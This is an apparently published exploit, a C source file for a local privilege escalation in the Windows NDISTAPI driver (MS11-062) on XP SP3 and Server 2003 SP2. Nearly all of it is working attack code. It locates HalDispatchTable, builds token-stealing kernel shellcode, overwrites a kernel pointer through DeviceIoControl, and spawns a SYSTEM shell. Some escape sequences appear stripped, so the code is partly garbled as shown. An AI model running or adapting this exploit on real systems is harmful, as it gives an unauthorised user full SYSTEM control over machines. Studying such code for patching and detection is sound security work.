Microsoft Windows x86 NDISTAPI Privilege Escalation

Posted on 25 October 2016
/*
################################################################
# Exploit Title: Windows x86 (all versions) NDISTAPI privilege escalation (MS11-062)
# Date: 2016-10-24
# Exploit Author: Tomislav Paskalev
# Vulnerable Software:
# Windows XP SP3 x86
# Windows XP Pro SP2 x64
# Windows Server 2003 SP2 x86
# Windows Server 2003 SP2 x64
# Windows Server 2003 SP2 Itanium-based Systems
# Supported Vulnerable Software:
# Windows XP SP3 x86
# Windows Server 2003 SP2 x86
# Tested Software:
# Windows XP Pro SP3 x86 EN [5.1.2600]
# Windows Server 2003 Ent SP2 EN [5.2.3790]
# CVE ID: 2011-1974
################################################################
# Vulnerability description:
# An elevation of privilege vulnerability exists in the
# NDISTAPI.sys component of the Remote Access Service NDISTAPI
# driver. The vulnerability is caused when the NDISTAPI driver
# improperly validates user-supplied input when passing data
# from user mode to the Windows kernel.
# An attacker must have valid logon credentials and be able to
# log on locally to exploit the vulnerability.
# An attacker who successfully exploited this vulnerability could
# run arbitrary code in kernel mode (i.e. with NT AUTHORITYSYSTEM
# privileges).
################################################################
# Exploit notes:
# Privileged shell execution:
# - the SYSTEM shell will spawn within the invoking shell/process
# Exploit compiling (Kali GNU/Linux Rolling 64-bit):
# - # i686-w64-mingw32-gcc MS11-062.c -o MS11-062.exe -lws2_32
# Exploit prerequisites:
# - low privilege access to the target OS
# - target OS not patched (KB2566454)
# - Remote Access Service (RAS) running
# - sc query remoteaccess
# - sc start remoteaccess
################################################################
# Patches:
# Windows XP SP3 x86
# WindowsXP-KB2566454-x86-enu.exe
# (not available - EoL)
# Windows Server 2003 SP2 x86
# WindowsServer2003-KB2566454-x86-enu.exe
# https://www.microsoft.com/en-us/download/details.aspx?id=27093
################################################################
# Thanks to:
# Ni Tao (writeup)
# Google Translate (Chinese -> Engrish)
################################################################
# References:
# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1974
# https://technet.microsoft.com/en-us/library/security/ms11-062.aspx
# http://www.cas.stc.sh.cn/jsjyup/pdf/2015/5/%E5%9F%BA%E4%BA%8E%E9%9D%99%E6%80%81%E6%B1%A1%E7%82%B9%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E7%9A%84%E8%BD%AF%E4%BB%B6%E5%86%85%E6%A0%B8%E9%A9%B1%E5%8A%A8%E5%AE%89%E5%85%A8%E6%80%A7%E6%A3%80%E6%B5%8B.pdf
# https://translate.google.com/
################################################################
*/

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <ws2tcpip.h>

#pragma comment (lib, "ws2_32.lib")

////////////////////////////////////////////////////////////////
// DEFINE DATA TYPES
////////////////////////////////////////////////////////////////

typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

typedef DWORD (WINAPI *PNTQUERYINTERVAL) (
KPROFILE_SOURCE ProfileSource,
PULONG Interval
);

typedef LONG NTSTATUS;

typedef NTSTATUS (WINAPI *PNTALLOCATE) (
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG RegionSize,
ULONG AllocationType,
ULONG Protect
);

typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);

////////////////////////////////////////////////////////////////
// FUNCTIONS
////////////////////////////////////////////////////////////////

BOOL IsWow64()
{
BOOL bIsWow64 = FALSE;
LPFN_ISWOW64PROCESS fnIsWow64Process;

fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle(TEXT("kernel32")), "IsWow64Process");

if(NULL != fnIsWow64Process)
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms684139(v=vs.85).aspx
if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64))
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
printf(" [-] Failed (error code: %d)
", GetLastError());
return -1;
}
}
return bIsWow64;
}

////////////////////////////////////////////////////////////////
// MAIN FUNCTION
////////////////////////////////////////////////////////////////

int main(void)
{
printf("[*] MS11-062 (CVE-2011-1974) x86 exploit
");
printf(" [*] by Tomislav Paskalev
");

////////////////////////////////////////////////////////////////
// IDENTIFY TARGET OS ARCHITECTURE AND VERSION
////////////////////////////////////////////////////////////////

printf("[*] Identifying OS
");

// identify target machine's OS architecture
// in case the target machine is running a 64-bit OS
if(IsWow64())
{
printf(" [-] 64-bit
");
return -1;
}

printf(" [+] 32-bit
");

// identify target machine's OS version
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724451(v=vs.85).aspx
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724833(v=vs.85).aspx
OSVERSIONINFOEX osvi;
ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx((LPOSVERSIONINFO) &osvi);

// define operating system version specific variables
unsigned char shellcode_KPROCESS;
unsigned char shellcode_TOKEN;
unsigned char shellcode_UPID;
unsigned char shellcode_APLINKS;
const char **securityPatchesPtr;
int securityPatchesCount;

////////////////////////////////////////////////////////////////
/*
OS VERSION SPECIFIC OFFSETS

references:
http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/original.htm
http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/late52.htm
http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/current.htm
http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/eprocess/
*/
////////////////////////////////////////////////////////////////

// in case the OS version is 5.1, service pack 3
if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 3))
{
// the target machine's OS is Windows XP SP3
printf(" [+] Windows XP SP3
");
shellcode_KPROCESS = 'x44';
shellcode_TOKEN = 'xC8';
shellcode_UPID = 'x84';
shellcode_APLINKS = 'x88';
const char *securityPatches[] = {"KB2566454"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 1;
}

// in case the OS version is 5.2, service pack 2, not R2
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724385(v=vs.85).aspx
else if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 2) && (osvi.wServicePackMajor == 2) && (GetSystemMetrics(89) == 0))
{
// the target machine's OS is Windows Server 2003 SP2
printf(" [+] Windows Server 2003 SP2
");
shellcode_KPROCESS = 'x38';
shellcode_TOKEN = 'xD8';
shellcode_UPID = 'x94';
shellcode_APLINKS = 'x98';
const char *securityPatches[] = {"KB2566454"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 1;
}

// in case the OS version is not any of the previously checked versions
else
{
// the target machine's OS is an unsupported 32-bit Windows version
printf(" [-] Unsupported version
");
printf(" [*] Affected 32-bit operating systems
");
printf(" [*] Windows XP SP3
");
printf(" [*] Windows Server 2003 SP2
");
return -1;
}

////////////////////////////////////////////////////////////////
// LOCATE REQUIRED OS COMPONENTS
////////////////////////////////////////////////////////////////

printf("[*] Locating required OS components
");

// retrieve system information
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms725506(v=vs.85).aspx
// locate "ZwQuerySystemInformation" in the "ntdll.dll" module
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx
FARPROC ZwQuerySystemInformation;
ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");

// 11 = SystemModuleInformation
// http://winformx.florian-rappl.de/html/e6d5d5c1-8d83-199b-004f-8767439c70eb.htm
ULONG systemInformation;
ZwQuerySystemInformation(11, (PVOID) &systemInformation, 0, &systemInformation);

// allocate memory for the list of loaded modules
ULONG *systemInformationBuffer;
systemInformationBuffer = (ULONG *) malloc(systemInformation * sizeof(*systemInformationBuffer));

if(!systemInformationBuffer)
{
printf(" [-] Could not allocate memory");
return -1;
}

// retrieve the list of loaded modules
ZwQuerySystemInformation(11, systemInformationBuffer, systemInformation * sizeof(*systemInformationBuffer), NULL);

// locate "ntkrnlpa.exe" or "ntoskrnl.exe" in the retrieved list of loaded modules
ULONG i;
PVOID targetKrnlMdlBaseAddr;
HMODULE targetKrnlMdlUsrSpcOffs;
BOOL foundModule = FALSE;
PSYSTEM_MODULE_INFORMATION loadedMdlStructPtr;
loadedMdlStructPtr = (PSYSTEM_MODULE_INFORMATION) (systemInformationBuffer + 1);

for(i = 0; i < *systemInformationBuffer; i++)
{
if(strstr(loadedMdlStructPtr[i].ImageName, "ntkrnlpa.exe"))
{
printf(" [+] ntkrnlpa.exe
");
targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntkrnlpa.exe", 0, 1);
targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;
foundModule = TRUE;
break;
}
else if(strstr(loadedMdlStructPtr[i].ImageName, "ntoskrnl.exe"))
{
printf(" [+] ntoskrnl.exe
");
targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntoskrnl.exe", 0, 1);
targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;
foundModule = TRUE;
break;
}
}

// base address of the loaded module (kernel space)
printf(" [*] Address: %#010x
", targetKrnlMdlBaseAddr);

// offset address (relative to the parent process) of the loaded module (user space)
printf(" [*] Offset: %#010x
", targetKrnlMdlUsrSpcOffs);

if(!foundModule)
{
printf(" [-] Could not find ntkrnlpa.exe/ntoskrnl.exe
");
return -1;
}

// free allocated buffer space
free(systemInformationBuffer);

// determine the address of the "HalDispatchTable" process (kernel space)
// locate the offset fo the "HalDispatchTable" process within the target module (user space)
ULONG_PTR HalDispatchTableUsrSpcOffs;
HalDispatchTableUsrSpcOffs = (ULONG_PTR) GetProcAddress(targetKrnlMdlUsrSpcOffs, "HalDispatchTable");

if(!HalDispatchTableUsrSpcOffs)
{
printf(" [-] Could not find HalDispatchTable
");
return -1;
}

printf(" [+] HalDispatchTable
");
printf(" [*] Offset: %#010x
", HalDispatchTableUsrSpcOffs);

// calculate the address of "HalDispatchTable" in kernel space
// 1. identify the base address of the target module in kernel space
// 2. previous step's result [minus] the load address of the same module in user space
// 3. previous step's result [plus] the address of "HalDispatchTable" in user space
// EQUIVALENT TO:
// 1. determine RVA of HalDispatchTable
// *Relative Virtual Address - the address of an item after it is loaded into memory, with the base address of the image file subtracted from it.
// 2. previous step's result [plus] base address of target module in kernel space
ULONG_PTR HalDispatchTableKrnlSpcAddr;
HalDispatchTableKrnlSpcAddr = HalDispatchTableUsrSpcOffs - (ULONG_PTR) targetKrnlMdlUsrSpcOffs;
HalDispatchTableKrnlSpcAddr += (ULONG_PTR) targetKrnlMdlBaseAddr;

// locate "NtQueryIntervalProfile" in the "ntdll.dll" module
PNTQUERYINTERVAL NtQueryIntervalProfile;
NtQueryIntervalProfile = (PNTQUERYINTERVAL) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");

if(!NtQueryIntervalProfile)
{
printf(" [-] Could not find NtQueryIntervalProfile
");
return -1;
}

printf(" [+] NtQueryIntervalProfile
");
printf(" [*] Address: %#010x
", NtQueryIntervalProfile);

////////////////////////////////////////////////////////////////
// CREATE TOKEN STEALING SHELLCODE
////////////////////////////////////////////////////////////////

printf("[*] Creating token stealing shellcode
");

// construct the token stealing shellcode
unsigned char shellcode[] =
{
0x52, // PUSH EDX Save EDX on the stack (save context)
0x53, // PUSH EBX Save EBX on the stack (save context)
0x33,0xC0, // XOR EAX, EAX Zero out EAX (EAX = 0)
0x64,0x8B,0x80,0x24,0x01,0x00,0x00, // MOV EAX, FS:[EAX+0x124] Retrieve current _KTHREAD structure
0x8B,0x40,shellcode_KPROCESS, // MOV EAX, [EAX+_KPROCESS] Retrieve _EPROCESS structure
0x8B,0xC8, // MOV ECX, EAX Copy EAX (_EPROCESS) to ECX
0x8B,0x98,shellcode_TOKEN,0x00,0x00,0x00, // MOV EBX, [EAX+_TOKEN] Retrieve current _TOKEN
0x8B,0x80,shellcode_APLINKS,0x00,0x00,0x00, // MOV EAX, [EAX+_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks
0x81,0xE8,shellcode_APLINKS,0x00,0x00,0x00, // SUB EAX, _APLINKS | Retrieve EPROCESS from ActiveProcessLinks
0x81,0xB8,shellcode_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // CMP [EAX+_UPID], 0x4 | Compare UniqueProcessId with 4 (System Process)
0x75,0xE8, // JNZ/JNE ---- Jump if not zero/not equal
0x8B,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV EDX, [EAX+_TOKEN] Copy SYSTEM _TOKEN to EDX
0x8B,0xC1, // MOV EAX, ECX Copy ECX (current process _TOKEN) to EAX
0x89,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV [EAX+_TOKEN], EDX Copy SYSTEM _TOKEN to current process _TOKEN
0x5B, // POP EBX Pop current stack value to EBX (restore context)
0x5A, // POP EDX Pop current stack value to EDX (restore context)
0xC2,0x08 // RET 8 Return
};

printf(" [*] Shellcode assembled
");

// allocate memory (RWE permissions) for the shellcode
printf(" [*] Allocating memory
");
LPVOID shellcodeAddress;
shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if(shellcodeAddress == NULL)
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
printf(" [-] Failed (error code: %d)
", GetLastError());
return -1;
}

printf(" [+] Address: %#010x
", shellcodeAddress);

// copy the shellcode to the allocated memory
memcpy((shellcodeAddress), shellcode, sizeof(shellcode));
printf(" [*] Shellcode copied
");

////////////////////////////////////////////////////////////////
// EXPLOIT THE VULNERABILITY
////////////////////////////////////////////////////////////////

printf("[*] Exploiting vulnerability
");

// open the vulnerable device driver
HANDLE targetDeviceHandle;
ULONG dwReturnSize;
int errorCode = 0;

printf(" [*] Opening NDISTAPI device driver
");
// https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx
targetDeviceHandle = CreateFile("\\.\NDISTAPI", GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0);

// in case the function fails
if(targetDeviceHandle == INVALID_HANDLE_VALUE)
{
// the device driver was not opened successfully
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx
errorCode = GetLastError();
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
// in case of ERROR_FILE_NOT_FOUND
if(errorCode == 2)
{
// the vulnerable service is not running
printf(" [!] Remote Access Service not started
");
printf(" [*] run "sc start remoteaccess"
");
return -1;
}
// in case of any other error message
else
{
printf(" [-] Failed (error code: %d)
", errorCode);
return -1;
}
}
// in case the function succeeds
else
{
// the device driver was opened succesfully
printf(" [+] Done
");
}

// copy the shellcode address to the input buffer
unsigned char InputBuffer[8]={0};
memcpy((InputBuffer + 4), &shellcodeAddress, sizeof(shellcodeAddress));

// trigger vulnerability (cause arbitrary memory overwrite)
printf(" [*] Calling vulnerable function
");
if(DeviceIoControl(
targetDeviceHandle,
0x8fff23d4, // DoLineCreateWork
(PVOID) InputBuffer, sizeof(InputBuffer),
(PVOID) (HalDispatchTableKrnlSpcAddr), 0,
&dwReturnSize, NULL
) == 0)
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx
errorCode = GetLastError();
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
// in case of ERROR_INSUFFICIENT_BUFFER
if(errorCode == 122)
{
// target is patched
printf(" [!] Target patched
");
printf(" [*] Possible security patches
");
for(i = 0; i < securityPatchesCount; i++)
printf(" [*] %s
", securityPatchesPtr[i]);
return -1;
}
// in case of any other error message
else
{
// print the error code
printf(" [-] Failed (error code: %d)
", errorCode);
return -1;
}
}
else
printf(" [+] Done
");

// elevate privileges of the current process
printf(" [*] Elevating privileges to SYSTEM
");
ULONG outInterval = 0;
// https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html
NtQueryIntervalProfile(2, &outInterval);
printf(" [+] Done
");

// spawn shell (with elevated privileges)
printf(" [*] Spawning shell
");
// spawn SYSTEM shell within the current shell (remote shell friendly)
system ("c:\windows\system32\cmd.exe /K cd c:\windows\system32");

// exit
printf("
[*] Exiting SYSTEM shell
");
return 1;
}

// EoF
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